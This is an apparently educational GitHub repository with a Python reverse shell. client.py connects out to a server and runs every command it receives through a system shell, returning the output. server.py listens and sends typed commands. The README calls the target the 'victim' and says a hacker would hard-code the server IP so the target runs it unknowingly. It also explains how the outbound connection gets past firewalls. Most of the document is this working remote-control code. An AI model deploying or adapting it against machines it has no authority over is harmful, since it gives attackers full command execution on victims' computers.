├── reverse1.png
├── reverse2.gif
├── client.py
├── README.md
└── server.py
/reverse1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/iteong/reverse-shell/HEAD/reverse1.png
--------------------------------------------------------------------------------
/reverse2.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/iteong/reverse-shell/HEAD/reverse2.gif
--------------------------------------------------------------------------------
/client.py:
--------------------------------------------------------------------------------
1 | import socket
2 | # control operating system of target machine
3 | import os
4 | import subprocess
5 |
6 | s = socket.socket() # client computer can connect to others
7 |
8 | # ip address of server, can use own computer's private IP if doing on local
9 | host = str(input("Enter the IP address of the server that wants to control your computer: "))
10 | port = int(input("Enter the port of the server that wants to control your computer (default input: 9999): "))
11 |
12 | s.connect((host, port)) # binds client computer to server computer
13 |
14 | # infinite loop for continuous listening for server's commands
15 | while True:
16 | data = s.recv(1024)
17 | if data[:2].decode("utf-8") == 'cd': # command to change directory (cd)
18 | os.chdir(data[3:].decode("utf-8")) # look at target directory to cd to
19 |
20 | if len(data) > 0: # check if there are actually data/commands received (that is not cd)
21 |
22 | # opens up a process to run a command similar to running in terminal, takes out any output and pipes out to standard stream
23 | cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
24 |
25 | # bytes and string versions of results
26 | output_bytes = cmd.stdout.read() + cmd.stderr.read() # bytes version of streamed output
27 | output_str = str(output_bytes, "utf-8") # plain old basic string
28 |
29 | # getcwd allows the server side to see where the current working directory is on the client
30 | s.send(str.encode(output_str + str(os.getcwd()) + '> '))
31 | print(output_str) # client can see what server side is doing
32 |
33 | # close connection
34 | s.close()
35 |
36 |
37 |
38 |
39 |
40 |
41 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # reverse-shell
2 |
Reverse Shell with Python 3
3 |
4 | 
5 |
6 | Purpose of Reverse Shell:
7 | Connect to someone's computer from anywhere in the world and control it remotely.
8 |
9 | Problems of trying to control/hack someone's personal computer:
10 | - personal computers are difficult to connect with directly.
11 | - personal computer's IP is dynamic (always changing) and not public (each computer has a private IP for itself and public IP it is connected to).
12 | - personal computer's firewalls may deny incoming attempts to hack it.
13 |
14 | Solution:
15 | - set up a server (server.py) that 'listens' for incoming client connections and have the target computer (client.py) connect to us.
16 | - client's operating system thinks that since the client initiated the connection to the server, it should be a safe connection.
17 |
18 | 
19 |
20 | Uses:
21 | - helping a friend with computer problems by reverse shell into his computer remotely on your computer.
22 | - a system administrator needs to access a bunch of computers remotely for maintenance and execution of commands.
23 | - hackers gain full control into our machines by getting us to run the program in the background unknowingly.
24 |
25 | Steps:
26 | 1) Attacker's machine (which has a public IP and is reachable over the internet) acts as a server. This is done by running the server.py file. It opens a communication channel on a port and waits for incoming client connections.
27 | 2) Victim's machine acts as a client and initiates a connection to the attacker's listening server by running client.py. Currently, the program asks for the server's IP, but in a real-world scenario, the hacker already incorporated the static IP address where his server.py is running into the client.py program.
28 | 3) The IP address and port keyed into the input asked by client.py needs to be that of the server. If the hacker is SSH into a server and running the server.py file to execute commands, he needs to have the IP set as static so that clients can connect to the static IP for the hacker to command and control the client's computer.
29 | 4) Commands are sent on the running server.py program through the connection, and executed on the victim's/client's computer.
30 |
31 |
--------------------------------------------------------------------------------
/server.py:
--------------------------------------------------------------------------------
1 | import socket
2 | import sys
3 |
4 | # socket to allow 2 computers to connect
5 | def create_socket():
6 | try:
7 | global host
8 | global port
9 | global s
10 | host = ''
11 | port = 9999
12 | # don't use common ports like 80, 3389
13 |
14 | s = socket.socket() # actual conversation between server and client
15 | except socket.error as msg:
16 | print("Error creating socket: " + str(msg))
17 |
18 | # binds socket to port and wait for connection from client/target
19 | def socket_bind():
20 | try:
21 | global host
22 | global port
23 | global s
24 | print("Binding socket to port: " + str(port))
25 | s.bind((host, port)) # host: usually an IP address, but since we listening to our own machine, it is blank
26 | s.listen(5) # listen allows server to accept connections, number 5 is number of bad connections it will take before refusing
27 | except socket.error as msg:
28 | print("Error binding socket to port: " + str(msg) + "\n" + "Retrying...")
29 | socket_bind() # recursion, keeps trying if error happens
30 |
31 | # establish connection with client (socket must be listening for connections)
32 | def socket_accept():
33 | conn, address = s.accept()
34 | print("Connection has been established | " + "IP " + address[0] + " | Port " + str(address[1]))
35 | send_commands(conn)
36 | conn.close()
37 |
38 | # sends commands to target/client computer to remote-control it
39 | def send_commands(conn):
40 | while True: # infinite loop for connection to stay constant
41 | cmd = input() # cmd = command we type into terminal to send to client
42 |
43 | # whatever we type into command line and when running/storing commands is of byte type
44 | # whenever we want to send across network, need to be of byte type
45 | # to print out for user, need to be changed to string
46 | if cmd == 'quit':
47 | conn.close()
48 | s.close()
49 | sys.exit()
50 | if len(str.encode(cmd)) > 0: # check that the command is not empty, otherwise do not send across network
51 | conn.send(str.encode(cmd))
52 | client_response = str(conn.recv(1024), "utf-8") # 1024 is buffer size, utf-8 to convert to normal string
53 | print(client_response, end="") # default end = '\n', change it to '' so don't give new line at the end
54 |
55 | def main():
56 | create_socket()
57 | socket_bind()
58 | socket_accept() # no need send_commands as this function calls that when called
59 |
60 | main()
61 |
62 |
63 |
64 |
--------------------------------------------------------------------------------